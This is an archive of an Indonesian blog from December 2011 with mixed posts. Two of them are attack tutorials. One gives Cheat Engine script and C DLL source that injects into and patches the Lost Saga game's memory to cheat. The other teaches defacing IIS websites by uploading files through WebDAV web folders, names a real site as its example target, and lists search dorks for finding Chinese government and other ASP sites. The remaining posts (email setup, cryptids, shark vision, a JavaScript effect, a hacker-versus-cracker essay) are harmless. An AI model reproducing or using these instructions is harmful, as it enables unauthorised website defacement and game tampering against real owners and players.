Kotak Penelusuran

Translator


English French German Spain Italian Dutch Russian Portuguese Japanese Korean Indonesia Chinese Simplified

Minggu, 25 Desember 2011

Cara membuat cheat LOST SAGA

Creator tutor and source code by Barbossa-N3 dan Ramnit-CLCZ
Special thx to : Aldiandya, All member N3, All member Celciuz, Cheat engginer , and ALL

Pertama - tama km harus tau Source Codenya dulu
nih

[ENABLE]
lostsaga.exe+805BE0:
add [eax],eax
add [eax],al
dec eax
push eax
pop edi

[DISABLE]
lostsaga.exe+805BE0:
dec ebp
inc ecx
pop eax
pop edi
dec eax
//Alt: db 4D 41 58 5F 48

Cara - caranya :
1. Buka cheat engine 6.1
2. Buka lost saga dan login tunggu sampe lobby
3. Balik ke Cheat engine 6.1 lalu pilih proses "lostsaga.exe"
4. Kalo ke detect game guard jangan pencet "TUTUB" dulu ya
5. Nah dari situ manfaatin
- Liat Cheat Engine 6.1 > klik "Memory View"
- Liat Menu bar yang ada di Memory View > lalu pilih Tools > Auto Assemble
- Paste code 1 hit diatas tersebut
- Kalau sudah > File > Assign to current cheat table
- Selesai deh, itu namanya Script Code dan tinggal dibuat trainer nya

                                                Video by Ramanda Saputra



================================================================
Berhubung cara diatas sudah terdeteksi, maka ada cara baru lagi yaitu dengan membuat cheat via .DLL
Oke langsung aja, Credit Base/Source Code by Barbossa-N3, Tutorial Created by Ramnit-CLCZ
1. Download DevC++
 2.Install DevC++         
3.Jika sudah, klik File, New, pilih Project, pada bagian Basic pilih DLL, pada Project Options, pilih C Project
4. pada bagian Project 1, Klik tanda + dan Remove File DLL.H, jadi yang tersisa hanya dllmain.c
5. ganti SC yang ada di dllmain.c dengan SC dibawah ini:

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#define OFS_Delay                                       0x80D4DD
#define OFS_CSD                                         0x820000
#define OFS_Speed                                       0x8200A4
#define OFS_FALL                                        0x81FFEC
#define OFS_Damage                                      0x82010C
LPTSTR ModulGame = "lostsaga.exe";
void Patch(void *adr, void *ptr, int size)
{
                        DWORD OldProtection;
                        VirtualProtect(adr,size,PAGE_EXECUTE_READWRITE, &OldProtection);
                        memcpy(adr,ptr,size);
                        VirtualProtect(adr,size,OldProtection, &OldProtection);
}
void WritePointer(unsigned long ulBase, int iOffset, int iValue)
{
   if (!IsBadReadPtr((VOID*)ulBase, sizeof(unsigned long)))
                        {
                                                        if (!IsBadWritePtr((void*)(*(unsigned long*)ulBase + iOffset), sizeof(unsigned long)))
                                                        {
                                                                                        *(int*)(*(unsigned long*)ulBase + iOffset) = iValue;
                                                        }
                        }
}
DWORD WINAPI MemPacth(LPVOID param)
{
                        while (1) {
  if (GetAsyncKeyState(VK_F3)&1) {
                                        MessageBeep(MB_ICONINFORMATION);
                                        DWORD adrMin1, adrMin2 = 0;
                                        DWORD dwPB = (DWORD)GetModuleHandleA(ModulGame);
                                                                                        if (dwPB > 0) {
                                                                                                                        adrMin1 = dwPB + (DWORD)OFS_CSD;
                                                                                                                        Patch((void *)(adrMin1),(void*)(PBYTE)"\x00", 1);
                                                                                                                        adrMin1 = dwPB + (DWORD)OFS_FALL;
                                                                                                                        Patch((void *)(adrMin1),(void*)(PBYTE)"\x00", 1);
                                                                                        }
                                                        }
Sleep(5);
                        }
                        return (0);
}
BOOL WINAPI DllMain ( HMODULE hDll, DWORD dwReason, LPVOID lpReserved )
{
if (dwReason == DLL_PROCESS_ATTACH)
{
  DisableThreadLibraryCalls(hDll);
   if(dwReason == DLL_PROCESS_ATTACH){
                                                                                 MessageBox(0, "Virus Ramnit Has Been Send for your Computer", "Info", MB_OK + MB_ICONINFORMATION );
                                                                                 MessageBox(0, "Hotkey : F3", "Agan Barbossa", MB_OK + MB_ICONINFORMATION );
                                                                 CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MemPacth,                    0, 0, 0);

                                                                 char strDLLName [_MAX_PATH];
                                                        GetModuleFileName(hDll, strDLLName , _MAX_PATH);
                                                                 if (strstr(strDLLName, "dll.dll") <= 0) {

                                                                                        MessageBox(0, Virus Ramnit Has Been Send for your Computer", "Info", 0);
                                                                                        ExitProcess(0);
                                                        }
                        }
   else if(dwReason == DLL_PROCESS_DETACH)
                        {
                        }
}
return TRUE;
}
NB: Ingat SC diatas Offsetnya sudah terdektesi, maka kalian harus usaha untuk mencari offset barunya :D, offset cari sendiri :|

6. jika sudah Klik Execute dan klik ReBuild ALL
7. Kalo sudah di Build, tinggal Inject aja ke LSnya :D
8. Happy Cheating :D

=====================================
COPAS ?? HARAP TULISKAN SUMBERNYA !!!



ReadMore »»

Sabtu, 24 Desember 2011

Cara Membuat Email dengan Domain sendiri

 karena banyak yang request cara membuat email dengan domain sendiri dengan mudah ini caranya
tutorial ini saya beri judul bagaimana Cara Membuat Email dengan Domain Sendiri..

Langsung saja Cek it out (cekidot) ya.. ^_^


1. Klik  http://www.google.com/a/cpanel/domain/new?hl=id (Untuk mengakses registrasi Google App Edisi standar) jenis layanan Google Application, pilih saja standar biar free. (Standar Edition ini hanya memberikan 7 GB untuk setiap account, dan maksimal 50 Account)

2. Kemudianpilih radio button "Administrator: Saya memiliki atau mengontrol domain ini" dan masukkan nama domainnya.

3. Kemudian isi form dengan lengkap

4. Kita akan menerima email konfirmasi, klik pada link di e-mail tersebut atau langsung saja meneruskan halaman sehabis registrasi (otomatis langsung masuk ke dashboard Google Application)

5. Setelah itu lakukan aktifasi domain, pilih dengan cara HTML yaitu memasukkan file yang diminta oleh google di buat, kemudian mengcopykan kode yang muncul di halaman tersebut ke dalam file.html di web yang anda daftarkan.

6. Kemudian sesudah aktif, klik aktifasi email pada icon email di halaman dashboard “Active E-mail”, kita akan diminta memasukkan data dan sesudah itu kita akan di suruh mengset nilai MX Record pada halaman cpanel.

7. Klik checkbox "Google Apps membutuhkan perubahan DNS untuk mengatur layanan dengan benar." Klik lanjut (Next)

8. Lakukan proses perubahan MX Record di cpanel sebelum mengklik tombol sumbit yang berada pada bagian bawah "“I have complate these site".

9. Login ke cpanel lalu pilih MX Entry pada bagian depan cpanel anda.

10. Lalu pilih domain anda, lalu pilih ": Local (recommended)" untuk email routing.

 11. Kemudian hapus terlebih dahulu mx record yang ada dan masukkan MX record milik Google.

  • ASPMX.L.GOOGLE.COM  Masukkan Prioritas 10 > Add Record
  • ALT1.ASPMX.L.GOOGLE.COM MasukkanPrioritas 20 > Add Record
  • ALT2.ASPMX.L.GOOGLE.COM MasukkanPrioritas 20 > Add Record
  • ASPMX2.GOOGLEMAIL.COM MasukkanPrioritas 30 > Add Record
  • ASPMX3.GOOGLEMAIL.COM MasukkanPrioritas 30 > Add Record
  • ASPMX4.GOOGLEMAIL.COM MasukkanPrioritas 30 > Add Record
  • ASPMX5.GOOGLEMAIL.COM MasukkanPrioritas 30 > Add Record
Setelah melakukan hal diatas, save dan  Email ke domain anda akan di antarkan ke Mail Serever milik Google.


12. Selanjutnya di form pendaftaran klik “I have complate these step”  Silahkan tunggu google akan melakukan pengecekan terhadap setting MX domain anda, untuk proses dapat di lihat di Dashboard Google Apps.

13. Setelah itu silakan menunggu sekian menit untuk proses update, dan untuk masuk ke halaman email menggunakan link http://mail.google.com/a/namadomainkamu.com - misal : http://mail.google.com/a/obilog.info.

14. Untuk mempermudah menulisnya, bikin sebuah subdomain di domain kmu dengan nama mail, misalnya nanti hasil alamatnya : http://mail.obilog.info. Kemudian masuk ke file manager, buatlah file index.php di dalam folder mail tersebut. Kemudian masukkan sintak .

15. DONE !!!
Simpel kan.... eitss tapi ini belum sempurna


16.Konfirmasi ke email anda dan jadi deh email berdomain mu :D

Special thx to : #ILC Ph0z1e and #ILC Kr0k0l4t0z
ReadMore »»

Sabtu, 17 Desember 2011

The Mongolian Death Worm (Cacing maut mongolia)

[Image: worm.jpg]


The Mongolian Death Worm , diketahui suku nomaden Mongolia sebagai khorkhoi allghoi (kadang-kadang dipanggil sebagai allerghoi horhai atau olgoj chorchoj) atau 'cacing usus' karena mirip dengan usus sapi. Mahluk ini berwarna merah, dan kadang-kadang digambarkan memiliki bintik-bintik gelap atau bercak-bercak,. Mahluk ini juga memiliki panjang tubuh kira-kira 2 sampai 5 meter.

The Mongolian Death Worm menghuni Selatan Gurun Gobi di Mongolia. Referensi pertama binatang yang luar biasa ini muncul dalam Chapman Andrews '1926 buku Profesor Roy On the Trail of Ancient Man, meskipun palaentoloigis Amerika (ia inspirasi karakter Indiana Jones) . ia tidak sepenuhnya yakin dengan cerita-cerita rakasa yang ia dengar di sebuah pertemuan para pejabat Mongolia: "Tidak ada yang pernah melihat makhluk itu, tetapi mereka semua sangat yakin dengan keberadaan mahluk itu dan menggambarkannya dengan teliti."

Penjelajah Ceko Ivan Mackerle:
"-Seperti Sosis dengan panjang lebih dari setengah meter (20 inci)dan dengan tebal sebesar lengan manusia, mirip usus sapi. Ekornya pendek, seperti tepotong. sulit menggambarkan kepalanya karena terlihat seperti tidak mempunyai mata, hidung atau mulut. warnanya gelap merah, seperti darah atau salami ... ia bergerak dengan cara yang aneh - baik dengan cara menggelinding atau menggeliat menyamping, dengan menyapu. mahluk itu tinggal di bukit pasir terpencil dan di lembah-lembah panas bawah tanah di gurun Gobi dengan tanaman saxaul. ia hanya terlihat selama bulan-bulan terpanas tahun, Juni dan Juli, kemudian pada bulan-bulan lain ia masuk ke dalam liang pasir dan tidur. Ia sering keluar dari tanah terutama setelah hujan, ketika tanah basah. Mahluk ini sangat berbahaya, karena dapat membunuh seketika manusia dan hewan dalam jarak beberapa meter. "

Makhluk itu dilaporkan dapat menyemprotkan zat asam yang dapat menyebabkan kematian seketika. mahluk ini juga memiliki kemampuan untuk membunuh dari jarak jauh dengan sengatan listrik. Banyak orang Mongolia telah melaporkan melihat makhluk ini. Makhluk itu melakukan hibernasi selama hampir sepanjang tahun kecuali untuk bulan Juni dan Juli.

di yakini juga dengan menyentuh bagian mana saja dari tubuh cacing ini akan langsung mengalami kematian, yang diduga mengandung racun logam corrodes. cerita rakyat setempat juga bercerita mahluk ini suka tanaman parasit lokal seperti Goyo.
Mungkinkahia sejenis belut listrik yang hidup di tanah?

Belut listrik adalah cacing panjang seperti Mongolian Death Worm dan diketahui juga bahwa belut listrik dapat menghasilkan listrik yang cukup kuat untuk melumpuhkan atau membunuh mangsanya. Belut listrik seekor belut, mereka hanya memiliki bentuk seperti belut. Walaupun namanya belut ia sama sekali bukan belut melainkan sebuah knifefish. Mereka tinggal di dasar lumpur di dalam air yang tenang dan ia harus bernapas; belut listrik naik ke permukaan setiap 10 menit atau lebih, binatang itu akan menelan udara sebelum kembali ke bawah. Hampir 80% dari oksigen yang digunakan oleh ikan diambil dengan cara ini. Ini menunjukkan bahwa kandidat yang paling mungkin untuk memiliki variasi yang hidup di darat. Namun lingkungan terutama seperti Gurun Gobi tampaknya akan terlalu keras untuk makhluk semacam itu. Namun mengingat kepercayaan penduduk lokal bahwa "cacing suka keluar dari dalam tanah umumnya setelah hujan, ketika tanah masih basah".

belut listrik yang bernama latin Electrophorus electricus ini terkenal dengan kemampuannya untuk menghasilkan arus listrik yang kuat, mencapai 500-650 volt. hal ini cukup membuat pingsan atau membunuh mangsanya.tetapi belut listrik tidak mempunyai racun yang disemprotkan.

Mungkinkah seekor ular yang meludah?
Mungkin makhluk itu adalah semacam kobra meludah.
Meludah kobra sangat akurat pada jarak lebih dari 10 kaki. Ketika kobra itu ingin "meludah" atau "menyemprotkan" bisanya. Cobra dapat menyemprotkan racun yang menyakitkan secara langsung ke dalam mata binatang yang berpotensial menginjaknya dari jarak yang aman.
Ular yang mirip cacing berbentuk persis seperti cacing "Mongolian Death Worm". dilaporkan Beberapa ular kobra meludah tampak kemerahan dengan warna-mirip dengan laporan tentang Mongolian Death Worm.

Mungkinkah cerita-cerita tentang sengatan listrik dibuat karena kesalahan yang disebabkan oleh terkejutnya melihat makhluk itu.

kesimpulan

mungkin saja para saksi salah mengira dan salah melihat tentang cacing mongolia. tetapi mungkin sja mahlukini benar-benar ada. menurut legenda gurun gobi dahulunya bekas danau yang kemudian mengering akibat bencana, mungkin saja cacing itu adalah belut listrik yang sudah berevolusi. who knows...
ReadMore »»

Ikan Hiu (Selachimorpha) Buta Warna

[Image: ikan-hiu.jpg]


Para peneliti menemukan bahwa mata ikan hiu, termasuk hiu sapi dan hiu harimau, tidak didesain untuk membedakan warna jadi mata mereka hanya melihat dunia dalam hitam dan putih.

Hal itu berarti bertentangan dengan warna biru muda laut, akan lebih baik mengenakkan pakaian renang yang berwarna cerah untuk mengurangi kekontrasan atau perbedaan warna dengan air.

Studi tersebut mendukung statistik dari International Shark Attack File (ISAF) yang menunjukkan bahwa kebanyakan serangan ikan hiu terjadi pada penyelam atau peselancar yang mengenakkan pakaian untuk air yang berwarna hitam.

Tim peneliti di Universitas Western Australia dan Universitas Queensland memeriksa mata 17 spesies ikan hiu termasuk, hiu sapi, hiu harimau, hiu karang dan hiu Port Jackson. Mereka menemukan bahwa retina mata mereka hanya memiliki satu kerucut (cone atau detektor cahaya) yang hanya dapat mendeteksi terang atau gelap. Hal tersebut berarti satu buah apel yang berwarna merah hanya sesuatu yang bercorak gelap bagi mereka. Sebaliknya manusia memiliki tiga kerucut untuk membedakan warna, merah, hijau dan biru.

Seperti yang dilansir oleh Telegraph (18/01/11), Profesor Nathan Hart, pemimpin penelitian tersebut, mengatakan bahwa penglihatan ikan hiu bisa dibandingkan dengan menonton televisi hitam putih.

"Apabila ikan hiu kurang dalam penglihatan warna, hal tersebut berarti bahwa kekontrasan terang lebih penting untuk mendeteksi dan mengidentifikasi obyek-obyek," tuturnya.

"Kita boleh menggunakan informasi ini untuk membantu mendesain kapal selancar kecil dan pakaian renang yang kurang menarik perhatian atau lebih memuakkan bagi ikan hiu untuk mengurangi serangan terhadap orang-orang.

"Kita juga boleh menggunakannya untuk mendesain umpan pancingan panjang yang kurang menarik bagi ikan hiu dan mengurangi jumlah ikan hiu yang mati karena tertangkap pancingan setiap tahun."

Profesor Hart mengatakan bahwa lebih banyak penelitian diperlukan untuk menentukan pola mana yang berfungsi paling baik untuk mengelakkan ikan hiu.

"Langkah selanjutnya ialah melihat pada perilaku," katanya.

Walaupun kebanyakan ikan bertulang (bony fish, Osteichthyes) memiliki beberapa penglihatan warna, ikan paus, lumba-lumba dan anjing laut diyakini juga hanya memiliki satu kerucut. Penelitian baru itu mengejutkan karena ikan hiu merupakan salah satu pemburu yang paling hebat di dunia.

Hingga saat ini, para ahli meyakini bahwa kesuksesan evolusioner ikan hiu berada pada sistem sensor yang sangat teradaptasi, termasuk penglihatan.

Akan tetapi sekarang kelihatan bahwa ikan hiu sebenarnya mengandalkan mekanisme yang lain juga, yang kombinasinya memperkenankan keefektifan makhluk tersebut dalam berburu.

Studi tersebut dipublikasikan di Naturwissenschaften (Sains Alam).
ReadMore »»

Minggu, 11 Desember 2011

Cara Menangkap File Script Berbahaya (protected Your Computer)

Hai Sobat ku, Pembahasan kali ini mengenai Cara Menangkal File Script Berbahaya, Pada pembahasan sebelumnya yaitu mengenai  Cara memperbaiki flashdisk yang tidak terbaca pada Komputer dan Cara Merperbaiki Flashdisk Rusak (Tidak Terbaca Di Komputer)
, Okey kita kembali lagi dengan pembahasan kita yaitu mengenai Cara Menangkal File Script Berbahaya, Okey Sobat langsung deh ke intinya:


Cara Menangkal File Script Berbahaya Menggunakan Script Defender

Hati-hati file di PC Sobat yang tidak jelas asal usulnya nah Bisa jadi itu adalah file dalam bentuk script yang siap menghancurkan semua dokumen milik asobat. Untuk menangkal aktifnya file tersebut sobat bisa mencekalnya dengan tolls Script Defender 1.03



Penyebaran virus dengan teknik scripting dapat ditanggulangi dengan berbagai cara. Jika anda termasuk pengguna komputer yang tidak mau direpotkan untuk menghadang penyebaran virus tersebut secara manual, Anda dapat memakai jasa Program AntiVirus.

Perlu diketahui Untuk mengoptimalkan kinerja program antivirus yang telah anda gunakan, tidak ada salahnya jika anda memperkuatnya dengan sebuh tools keamanan data tambahan. Salah satu tools keamanan data tambahan yang dapat anda gunakan adalah script defender. Program Freeware ini berkerja dengan cara mencekal aktifnya program script di PC sobat jadi 99,99% aman.

 Okey sobat sekian dulu pembahasan saya mengenai Cara Menangkal File Script Berbahaya, Semoga Bermanfaat.
ReadMore »»

Cara membuat teks bergerak melingkar mengikuti gerakan mouse (Circling text trail)

Cara membuat teks bergerak melingkar mengikuti gerakan mouse atau dalam istilah bahasa Inggris dikenal dengan nama "Circling text trail". Teks tersebut akan bergerak melingkar mengelilingi pointer mouse disaat mouse sedang idle. Teks yang akan ditampilkan dapat diatur sesuai keinginan.

Yang perlu dilakukan adalah dengan memasukkan script di bawah ini ke dalam gadget html/javascript.



<style type="text/css">
/* Circle Text Styles */
/*http://www.dynamicdrive.com/dynamicindex13/circletext.htm */
#outerCircleText {
/* Optional - DO NOT SET FONT-SIZE HERE, SET IT IN THE SCRIPT */
font-style: italic;
font-weight: bold;
font-family: 'comic sans ms', verdana, arial;
color: #000;
/* End Optional */

/* Start Required - Do Not Edit */
position: absolute;top: 0;left: 0;z-index: 3000;cursor: default;}
#outerCircleText div {position: relative;}
#outerCircleText div div {position: absolute;top: 0;left: 0;text-align: center;}
/* End Required */
/* End Circle Text Styles */
</style>
<script type="text/javascript">

/* Circling text trail- Tim Tilton
   Website: http://www.tempermedia.com/
   Visit: http://www.dynamicdrive.com/ for Original Source and tons of scripts
   Modified Here for more flexibility and modern browser support
   Modifications as first seen in http://www.dynamicdrive.com/forums/
   username:jscheuer1 - This notice must remain for legal use
   */

;(function(){

// Your message here (QUOTED STRING)
var msg = "Selamat Datang Di Zona ZEXPECTOR";

/* THE REST OF THE EDITABLE VALUES BELOW ARE ALL UNQUOTED NUMBERS */

// Set font's style size for calculating dimensions
// Set to number of desired pixels font size (decimal and negative numbers not allowed)
var size = 24;

// Set both to 1 for plain circle, set one of them to 2 for oval
// Other numbers & decimals can have interesting effects, keep these low (0 to 3)
var circleY = 0.75; var circleX = 2;

// The larger this divisor, the smaller the spaces between letters
// (decimals allowed, not negative numbers)
var letter_spacing = 5;

// The larger this multiplier, the bigger the circle/oval
// (decimals allowed, not negative numbers, some rounding is applied)
var diameter = 10;

// Rotation speed, set it negative if you want it to spin clockwise (decimals allowed)
var rotation = 0.4;

// This is not the rotation speed, its the reaction speed, keep low!
// Set this to 1 or a decimal less than one (decimals allowed, not negative numbers)
var speed = 0.3;

////////////////////// Stop Editing //////////////////////

if (!window.addEventListener && !window.attachEvent || !document.createElement) return;

msg = msg.split('');
var n = msg.length - 1, a = Math.round(size * diameter * 0.208333), currStep = 20,
ymouse = a * circleY + 20, xmouse = a * circleX + 20, y = [], x = [], Y = [], X = [],
o = document.createElement('div'), oi = document.createElement('div'),
b = document.compatMode && document.compatMode != "BackCompat"? document.documentElement : document.body,

mouse = function(e){
 e = e || window.event;
 ymouse = !isNaN(e.pageY)? e.pageY : e.clientY; // y-position
 xmouse = !isNaN(e.pageX)? e.pageX : e.clientX; // x-position
},

makecircle = function(){ // rotation/positioning
 if(init.nopy){
  o.style.top = (b || document.body).scrollTop + 'px';
  o.style.left = (b || document.body).scrollLeft + 'px';
 };
 currStep -= rotation;
 for (var d, i = n; i > -1; --i){ // makes the circle
  d = document.getElementById('iemsg' + i).style;
  d.top = Math.round(y[i] + a * Math.sin((currStep + i) / letter_spacing) * circleY - 15) + 'px';
  d.left = Math.round(x[i] + a * Math.cos((currStep + i) / letter_spacing) * circleX) + 'px';
 };
},

drag = function(){ // makes the resistance
 y[0] = Y[0] += (ymouse - Y[0]) * speed;
 x[0] = X[0] += (xmouse - 20 - X[0]) * speed;
 for (var i = n; i > 0; --i){
  y[i] = Y[i] += (y[i-1] - Y[i]) * speed;
  x[i] = X[i] += (x[i-1] - X[i]) * speed;
 };
 makecircle();
},

init = function(){ // appends message divs, & sets initial values for positioning arrays
 if(!isNaN(window.pageYOffset)){
  ymouse += window.pageYOffset;
  xmouse += window.pageXOffset;
 } else init.nopy = true;
 for (var d, i = n; i > -1; --i){
  d = document.createElement('div'); d.id = 'iemsg' + i;
  d.style.height = d.style.width = a + 'px';
  d.appendChild(document.createTextNode(msg[i]));
  oi.appendChild(d); y[i] = x[i] = Y[i] = X[i] = 0;
 };
 o.appendChild(oi); document.body.appendChild(o);
 setInterval(drag, 25);
},

ascroll = function(){
 ymouse += window.pageYOffset;
 xmouse += window.pageXOffset;
 window.removeEventListener('scroll', ascroll, false);
};

o.id = 'outerCircleText'; o.style.fontSize = size + 'px';

if (window.addEventListener){
 window.addEventListener('load', init, false);
 document.addEventListener('mouseover', mouse, false);
 document.addEventListener('mousemove', mouse, false);
  if (/Apple/.test(navigator.vendor))
   window.addEventListener('scroll', ascroll, false);
}
else if (window.attachEvent){
 window.attachEvent('onload', init);
 document.attachEvent('onmousemove', mouse);
};

})();

</script>

 Keterangan:
Ganti teks Welcome to my blog! dengan teks yg anda inginkan


Copy script di atas ke gadget html/javascript.
Sumber script di atas saya ambil dari situs dinamic drive yang membahas tentang circling text trail
ReadMore »»

Sabtu, 10 Desember 2011

Teknik Deface Web Folder

Kita mungkin pernah melihat halaman yang terkena aksi jahil terhadap situs tertentu oleh para defacer.
Lalu di dalam hati akan bertanya-tanya bagaimana cara melakukan itu??.
Mungkin kamu pernah membaca artikel tentang cara men-deface website dengan menggunakan teknik XSS, SQLi, LFI, RFI dll.
Namun percayalah, selain teknik tersebut masih ada teknik lain yang jauh lebih sederhana semudah copy paste file.

Bagaimana caranya??, yaitu dengan menggunakan web folder yang disediakan oleh OS Windows sendiri.
Namun perlu diketahui, teknik ini hanya berlaku untuk website yang menggunakan OS Windows dan server IIS 5.0/6.0 .

Lalu bagaimana cara mengetahui bahwa target kita menggunakan server IIS?
Mudah saja, silakan buka netcraft.com dan masukkan target kita ke textbox yang tersedia, maka akan kita dapatkan informasi website tersebut, termasuk OS dan server yang digunakan.
Jika kamu ingin mendapatkan target secara acak bisa menggunakan google dork dengan menggunakan keyword allinurl:*.asp , allinurl:*.aspx dan sebagainya.

OK, langsung kita mulai saja tutorialnya.

- Klik kanan pada desktop, kemudian pilih New -> Shortcut .

- Maka akan ada popup yang meminta untuk memasukkan lokasi tujuan, lalu kamu masukkan alamat dibawah ini :

%WINDIR%\EXPLORER.EXE ,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\::{BDEADF00-C265-11d0-BCED-00A0C90AB50F}


- Jika sudah silakan klik Next -> Next -> Finish.
- Jika shortcut nya sudah terbentuk, lalu klik 2x pada shortcut tersebut.

2. Jika kamu sudah berhasil membuka web folder tersebut kemudian klik kanan lalu pilih New – Web Folder


3. Lalu akan muncul popup yang meminta untuk memasukkan alamat tujuan. Sebagai contoh kamu masukkan  [url=http://www.journeezerotracas.com/]www.journeezerotracas.com[/url] sebagai target.

4. Kemudian klik Next dan tunggu sampai prosesnya selesai, lama tidaknya proses tergantung koneksi internetmu.

5. Buka folder yang sudah terbentuk, nama folder biasanya mengambil dari nama domain, jika domainnya adalah http:/[url=http://www.journeezerotracas.com/]www.journeezerotracas.com[/url], maka nama foldernya juga [url=http://www.journeezerotracas.com/]http://www.journeezerotracas.com/[/url]

6. Copy paste sebuah file html ke dalam web folder yang telah kamu buat ke folder [url=http://www.journeezerotracas.com/]www.journeezerotracas.com[/url]

7.
 Jika proses copy paste selesai, sebagai contoh jika nama file kamu
adalah “mvpz.html” maka cara melihatnya adalah dengan membuka browser
dan mengetikkan alamat [url=http://www.journeezerotracas.com/mvpz.html]http://www.journeezerotracas.com/mvpz.html[/url]


 [DORK]

inurl:.ah.cn/*.asp
inurl:.bj.cn/*.asp
inurl:.cq.cn/*.asp
inurl:.fj.cn/*.asp
inurl:.gd.cn/*.asp
inurl:.gs.cn/*.asp
inurl:.gz.cn/*.asp
inurl:.gx.cn/*.asp
inurl:.ha.cn/*.asp
inurl:.hb.cn/*.asp
inurl:.he.cn/*.asp
inurl:.hi.cn/*.asp
inurl:.hl.cn/*.asp
inurl:.hn.cn/*.asp
inurl:.jl.cn/*.asp
inurl:.js.cn/*.asp
inurl:.jx.cn/*.asp
inurl:.ln.cn/*.asp
inurl:.nm.cn/*.asp
inurl:.nx.cn/*.asp
inurl:.qh.cn/*.asp
inurl:.sc.cn/*.asp
inurl:.sd.cn/*.asp
inurl:.sh.cn/*.asp
inurl:.sn.cn/*.asp
inurl:.sx.cn/*.asp
inurl:.tj.cn/*.asp
inurl:.tw.cn/*.asp
inurl:.xj.cn/*.asp
inurl:.xz.cn/*.asp
inurl:.yn.cn/*.asp
inurl:.zj.cn/*.asp
inurl:.ac.cn/*.asp
inurl:.com.cn/*.asp
inurl:.edu.cn/*.asp
inurl:.gov.cn/*.asp
inurl:.net.cn/*.asp
ReadMore »»

Perbedaan Hacker & Cracker. Siapa yang baik, & Siapa yang jahat ?



Dalam dunia keamanan jaringan, kedua istilah di atas bukanlah hal yang asing dan terdengar aneh. Bahkan kedua kelompok inilah yang banyak mempengaruhi kondisi keaman jaringan, sehingga oleh sebagian orang ada yang menyebut mereka sebagai “pengendali” keamanan dunia maya. Namun ternyata tidak banyak dari Kita yang dapat memahami pengertian, karakteristik, dan perbedaan dari kedua istilah di atas.
Sesungguhnya Hacker dan Cracker adalah dua istilah yang memiliki makna sangat berbeda. Namun oleh kebanyakan orang, kedua kelompok yang berperan sangat penting dalam keamanan dunia maya ini sering disalahartikan sehingga mereka seolah-olah sama dan merugikan. Jika kita mencoba menelaah dan mencari letak perbedaan antara Hacker dan Cracker, maka akan terlihat bahwa ternyata mereka memiliki tujuan yang sangat berbeda dalam melakukan aksinya. Oleh karena itu, agar kesalahan pengertian dari kedua istilah tersebut tidak berangsur-angsur, marilah kita mencoba memahami arti dan perbedaan dari kedua istilah tersebut.

Lalu, dimana letak kesalahan dari pendefinisian kedua istilah yang kerap hinggap ditelinga kita ini? Apalagi semenjak ada kabar bahwa “KPU-online” dibobol oleh para “hacker” beberapa bulan kebelakang, atau bahkan baru-baru ini situs “POLRI” & “Lemhannas” juga dikabarkan telah dibobol oleh seorang hacker. Benarkah itu adalah pekerjaan seorang hacker? Atau pekerjaan seorang cracker?
Tulisan ini mencoba menjawab dua istilah yang tidak asing ditelinga kita tersebut dengan wacana seorang pembelajar murni. Artinya, saya bukan dari kedua golongan tadi. Walaupun pada akhirnya menjadi tertarik untuk sekedar tahu aktifitas mereka (para hacker & cracker) sebagai satu ilmu yang menarik dalam dunia IT beberapa tahun ini.
PERSOALAN DASAR
Hacker dalam tulisan Eric Steven Raymond adalah “there is a community, a shared culture, of expert programmers and networking wizards that its history back trough decades to the firs time-sharing minicomputers and the earliesr ARPAnet experiment
Dengan kata lain, Raymon mengatakan, “the members of this culture originated the term ‘hacker’“. Para hackerlah yang kemudian memperkenalkan internet, membuat program sistem operasi UNIX hingga bisa digunakan saat ini. Dan para hacker pula lah yang telah berjasa dalam menjalankan World Wide Web (www) sehingga dapat dinikmati oleh semua orang di seluruh dunia di belahan manapun dia berada asal terkoneksi pada internet.
Lebih lanjut Raymon mengatakan “jika anda berada pada komunitas ini dan jika anda memiliki konstribusi didalamnya, dan kemudian orang mengenal anda sebagai hacker, maka anda adalah seorang hacker“.
Sekilas dari pandangan Raymon kita dapat satu definisi bahwa seorang hacker bukanlah orang yang jahat seperti yang kita pikirkan selama ini. Ya, jika mereka memang bisa masuk kedalam komputer kita (malalui jaringan internet) karena mereka bisa menguasai ilmunya. Namun jika ada orang yang kemudian masuk secara ilegal kedalam komputer kita dan kemudian “mencuri dan mengacak-ngacak” data kita, mereka adalah CRACKER. Dan bisa jadi mereka adalah seorang hacker dalam dunia yang berbeda. Dengan kata lain, mereka semua adalah para ahli dalam hal teknologi informasi ini dan berkecimpung serius didalamnya.
Namun untuk menghindari kerancuan, maka sebuah kata kunci dalam masalah ini, menurut Raymon adalah perbedaan antara keduanya; seorang Hacker adalah dia yang membangun sistem, sementara seorang Cracker malah “menghancurkannya“. (How to become a hacker, Eric S. Raymond, 2001).
Kapan istilah hacker menjadi trend sebagai sebuah kejahatan yang menakutkan? Tidak lain karena “dosa” pakar film di hollywood yang membiaskan istilah hacker dan cracker ini. Banyak film yang mengangkat tema hacker dalam sebuah bentuk “penghancuran sistem informasi” yang seharusnya makna itu diterapkan pada seorang cracker.
Sebut misalnya film The Net (1995), Take Down (1999). Film tersebut mengangkat tema hacker untuk menyebut cracker.
Dan dari kesalah penafsiran tadi, hingga kini pun istilah hacker masih dibiaskan dengan istilah cracker. Kerancuan itu tidak hanya terjadi di Indonesia saja, bahkan di luar negeripun pandangan terhadap keduanya sama seperti itu.
Terminologi hacker muncul pada awal tahun 1960-an diantara anggota organisasi mahasiswa Tech Model Railroad club di Lab Kecerdasan Artifisial Masschusetts Institute Of Teknology (MIT). Istilah hacker awalnya bermakna positif untuk menyebut seorang anggota yang memiliki keahlian dalam bidang komputer dan mampu membuat program komputer dengan lebih baik ketimbang yang ada sebelumnya (Memahami karakteristik Komunitas Hacker: Studi Kasus pada Komunitas Hacker Indonesia, Donny B.U, M.Si)
MENJADI HACKER
Mungkin sekilas tentang definisi di atas cukup untuk membatasi sejauh mana peranan seorang hacker dan cracker itu. Tulisan ini tidak akan mengangkat sejarah hacker dan awal mula kerancuannya. Namun lebih menitik beratkan pada bagaimana seandainya kita belajar menjadi hacker. Atau lebih spesifik, bisakah kita menjadi seorang hacker?
